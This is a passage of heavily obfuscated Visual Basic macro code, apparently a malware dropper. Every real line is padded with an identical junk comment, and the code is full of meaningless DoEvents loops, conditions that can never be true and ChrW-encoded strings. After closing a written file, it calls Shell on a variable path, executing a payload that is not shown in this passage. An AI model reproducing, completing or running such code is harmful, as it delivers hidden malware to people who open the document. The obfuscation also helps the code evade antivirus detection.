  1748. DoEvents
  1749. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1750. Next sgivwcxe
  1751. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1752.    Close #qefgzsywkju
  1753. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1754.  
  1755. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1756. If 963933 = 963933 + 1 Then End
  1757. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1758. If 6478 < 68 Then
  1759. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1760.  
  1761. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1762. Dim srqfacqt As Integer
  1763. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1764. Dim hmkldysg As Integer
  1765. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1766. For hmkldysg = 0 To 3
  1767. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1768. DoEvents
  1769. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1770. Next hmkldysg
  1771. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1772. srqfacqt = 7
  1773. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1774. Do While srqfacqt < 25
  1775. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1776. Dim qcfotkgm As Integer
  1777. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1778. For qcfotkgm = 0 To 2
  1779. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1780. DoEvents
  1781. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1782. Next qcfotkgm
  1783. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1784. DoEvents: srqfacqt = srqfacqt + 1
  1785. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1786. Dim kynqhfgn As Integer
  1787. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1788. For kynqhfgn = 0 To 4
  1789. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1790. DoEvents
  1791. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1792. Next kynqhfgn
  1793. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1794. Loop
  1795. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1796.  
  1797. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1798. Dim bgfprfmm As Integer
  1799. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1800. For bgfprfmm = 0 To 1
  1801. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1802. DoEvents
  1803. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1804. Next bgfprfmm
  1805. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1806.        MsgBox (ChrW(113) & ChrW(99) & ChrW(118) & ChrW(111) & ChrW(114) & ChrW(112) & ChrW(97) & ChrW(99) & ChrW(52) & ChrW(49))
  1807. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1808. End If
  1809. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1810. If Len(ChrW(98) & ChrW(118) & ChrW(121) & ChrW(103) & ChrW(122) & ChrW(119) & ChrW(111) & ChrW(117) & ChrW(55) & ChrW(51) & ChrW(50) & ChrW(56)) = Len(ChrW(109) & ChrW(107) & ChrW(116) & ChrW(109) & ChrW(120) & ChrW(97) & ChrW(99) & ChrW(119)) Then
  1811. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1812.  
  1813. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1814. Dim beekxhvw As Integer
  1815. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1816. Dim ynlouygj As Integer
  1817. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1818. For ynlouygj = 0 To 8
  1819. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1820. DoEvents
  1821. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1822. Next ynlouygj
  1823. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1824. beekxhvw = 7
  1825. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1826. Do While beekxhvw < 77
  1827. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1828. Dim ewljobkj As Integer
  1829. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1830. For ewljobkj = 0 To 3
  1831. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1832. DoEvents
  1833. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1834. Next ewljobkj
  1835. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1836. DoEvents: beekxhvw = beekxhvw + 1
  1837. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1838. Dim ksvnjmcz As Integer
  1839. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1840. For ksvnjmcz = 0 To 2
  1841. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1842. DoEvents
  1843. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1844. Next ksvnjmcz
  1845. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1846. Loop
  1847. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1848.  
  1849. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1850. Dim bwoiuggd As Integer
  1851. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1852. For bwoiuggd = 0 To 8
  1853. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1854. DoEvents
  1855. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1856. Next bwoiuggd
  1857. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1858.       MsgBox (ChrW(101) & ChrW(114) & ChrW(114) & ChrW(111) & ChrW(114) & ChrW(32) & ChrW(33) & ChrW(33) & ChrW(33))
  1859. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1860. End If
  1861. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1862.  
  1863. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1864. Dim kwpfylku As Integer
  1865. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1866. Dim sxguimwi As Integer
  1867. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1868. For sxguimwi = 0 To 7
  1869. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1870. DoEvents
  1871. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1872. Next sxguimwi
  1873. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1874. kwpfylku = 8
  1875. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1876. Do While kwpfylku < 66
  1877. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1878. Dim kqrwhzij As Integer
  1879. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1880. For kqrwhzij = 0 To 4
  1881. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1882. DoEvents
  1883. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1884. Next kqrwhzij
  1885. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1886. DoEvents: kwpfylku = kwpfylku + 1
  1887. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1888. Dim xitmkmqf As Integer
  1889. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1890. For xitmkmqf = 0 To 2
  1891. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1892. DoEvents
  1893. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1894. Next xitmkmqf
  1895. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1896. Loop
  1897. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1898.  
  1899. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1900. Dim furtiiob As Integer
  1901. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1902. For furtiiob = 0 To 9
  1903. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1904. DoEvents
  1905. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1906. Next furtiiob
  1907. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1908.    
  1909. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1910.  
  1911. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1912.    Dim wgeidynimaz
  1913. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1914. If 868759 = 868759 + 1 Then End
  1915. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1916. If 3377 < 88 Then
  1917. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1918.  
  1919. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1920. Dim lstydtzf As Integer
  1921. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1922. Dim bwqntlew As Integer
  1923. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1924. For bwqntlew = 0 To 8
  1925. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1926. DoEvents
  1927. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1928. Next bwqntlew
  1929. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1930. lstydtzf = 6
  1931. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1932. Do While lstydtzf < 36
  1933. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1934. Dim gicfmumr As Integer
  1935. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1936. For gicfmumr = 0 To 1
  1937. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1938. DoEvents
  1939. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1940. Next gicfmumr
  1941. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1942. DoEvents: lstydtzf = lstydtzf + 1
  1943. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1944. Dim oqwvultt As Integer
  1945. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1946. For oqwvultt = 0 To 2
  1947. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1948. DoEvents
  1949. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1950. Next oqwvultt
  1951. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1952. Loop
  1953. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1954.  
  1955. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1956. Dim nfpgrjnt As Integer
  1957. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1958. For nfpgrjnt = 0 To 7
  1959. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1960. DoEvents
  1961. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1962. Next nfpgrjnt
  1963. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1964.        MsgBox (ChrW(103) & ChrW(116) & ChrW(121) & ChrW(101) & ChrW(104) & ChrW(105) & ChrW(105) & ChrW(116) & ChrW(57) & ChrW(50))
  1965. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1966. End If
  1967. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1968. If Len(ChrW(116) & ChrW(103) & ChrW(117) & ChrW(113) & ChrW(107) & ChrW(106) & ChrW(99) & ChrW(102) & ChrW(52) & ChrW(49) & ChrW(51) & ChrW(55)) = Len(ChrW(117) & ChrW(108) & ChrW(113) & ChrW(98) & ChrW(110) & ChrW(104) & ChrW(99) & ChrW(109)) Then
  1969. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1970.  
  1971. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1972. Dim inkognvq As Integer
  1973. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1974. Dim ptvyphek As Integer
  1975. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1976. For ptvyphek = 0 To 5
  1977. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1978. DoEvents
  1979. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1980. Next ptvyphek
  1981. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1982. inkognvq = 4
  1983. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1984. Do While inkognvq < 47
  1985. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1986. Dim mvynvtdr As Integer
  1987. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1988. For mvynvtdr = 0 To 2
  1989. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1990. DoEvents
  1991. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1992. Next mvynvtdr
  1993. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1994. DoEvents: inkognvq = inkognvq + 1
  1995. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1996. Dim cplnqdhz As Integer
  1997. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  1998. For cplnqdhz = 0 To 2
  1999. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2000. DoEvents
  2001. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2002. Next cplnqdhz
  2003. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2004. Loop
  2005. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2006.  
  2007. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2008. Dim whkzuqro As Integer
  2009. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2010. For whkzuqro = 0 To 8
  2011. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2012. DoEvents
  2013. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2014. Next whkzuqro
  2015. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2016.       MsgBox (ChrW(101) & ChrW(114) & ChrW(114) & ChrW(111) & ChrW(114) & ChrW(32) & ChrW(33) & ChrW(33) & ChrW(33))
  2017. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2018. End If
  2019. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2020.  
  2021. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2022. Dim csgkpiae As Integer
  2023. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2024. Dim ebnwytuz As Integer
  2025. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2026. For ebnwytuz = 0 To 5
  2027. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2028. DoEvents
  2029. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2030. Next ebnwytuz
  2031. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2032. csgkpiae = 2
  2033. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2034. Do While csgkpiae < 29
  2035. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2036. Dim lzhofkiy As Integer
  2037. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2038. For lzhofkiy = 0 To 1
  2039. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2040. DoEvents
  2041. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2042. Next lzhofkiy
  2043. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2044. DoEvents: csgkpiae = csgkpiae + 1
  2045. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2046. Dim wmmegdyo As Integer
  2047. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2048. For wmmegdyo = 0 To 5
  2049. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2050. DoEvents
  2051. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2052. Next wmmegdyo
  2053. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2054. Loop
  2055. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2056.  
  2057. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2058. Dim pqmvppmr As Integer
  2059. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2060. For pqmvppmr = 0 To 1
  2061. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2062. DoEvents
  2063. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2064. Next pqmvppmr
  2065. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2066.    wgeidynimaz = Shell(ebwqwtjzaph, 1)
  2067. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2068.  
  2069. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2070.  
  2071. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2072. If 144339 = 144339 + 1 Then End
  2073. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2074. If 1984 < 37 Then
  2075. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2076.  
  2077. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2078. Dim flrwjwgy As Integer
  2079. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2080. Dim bwttzlse As Integer
  2081. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2082. For bwttzlse = 0 To 4
  2083. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2084. DoEvents
  2085. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2086. Next bwttzlse
  2087. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2088. flrwjwgy = 5
  2089. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2090. Do While flrwjwgy < 98
  2091. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2092. Dim zirluxly As Integer
  2093. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2094. For zirluxly = 0 To 5
